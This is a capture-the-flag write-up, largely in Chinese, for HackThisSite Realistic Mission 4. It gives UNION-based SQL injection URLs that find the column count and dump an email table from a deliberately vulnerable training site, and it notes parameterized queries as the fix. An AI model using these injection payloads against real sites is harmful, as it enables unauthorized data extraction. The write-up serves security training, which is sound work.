HackThisSite - Realistic Mission 4

Challenge

Extract the email addresses from Fischer's Animal Products and send them to SaveTheWhales through the HTS message center.

category 被直接拼入 SQL,导致 UNION-based SQL injection。应使用参数化查询,并让数据库账号只拥有必要权限。

Solution

1. 确认注入点与列数

产品分类通过 products.php?category= 查询。当前站点的 ORDER BY 4 仍能正常返回,ORDER BY 5 返回空结果,因此原查询有 4 列:

1
/missions/realistic/4/products.php?category=1%20ORDER%20BY%204

2. UNION 查询邮箱

把第 2 列用于显示文本:

1
/missions/realistic/4/products.php?category=2%20UNION%20ALL%20SELECT%201,email,3,4%20FROM%20email

当前响应提取到 9 个地址:

1
2
3
4
5
6
7
8
9
alph-alpha-brown@hotmail.com
sam.goodwin@yahoo.com
UltraDeathLaser@aol.com
SwingLow@hotmail.com
TeaBody@aol.com
jsmith@uic.edu
3ambeer@graffiti.net
shootfirst@yahoo.com
Bobby@friends.com

在 HTS Messages Center 的 Send 页面,以 SaveTheWhales 为收件人,将以上地址放入消息正文并发送。成功响应为:

1
Congratulations, you have successfully completed realistic 4!